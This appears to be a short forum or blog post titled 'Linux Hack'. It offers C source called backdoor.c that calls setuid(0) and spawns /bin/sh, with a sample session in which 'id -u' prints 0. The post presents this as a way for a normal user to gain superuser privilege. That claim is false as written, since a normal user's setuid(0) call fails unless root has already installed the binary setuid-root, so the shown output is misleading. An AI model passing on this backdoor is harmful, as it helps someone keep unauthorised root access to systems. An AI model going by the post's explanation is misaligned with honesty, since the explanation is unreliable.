How to Give normal user superuser privilege?..Linux Hack

#include<unistd.h>
#include<fcntl.h>                                              
main()
{
setuid(0);
char *name[2];
name[0] = "/bin/sh";
name[1] = 0x0;
execve(name[0], name, 0x0);
return 0;
}


save this file as backdoor.c and compile it then use its output file to get superuser privilege ..
thats it now run the output file from normal user account..
Vishal@Eva$./b      (suppose the name of output file is b)
$
now check your uid
$ id -u


0
Output "0" confirms that you have superuser privilege now .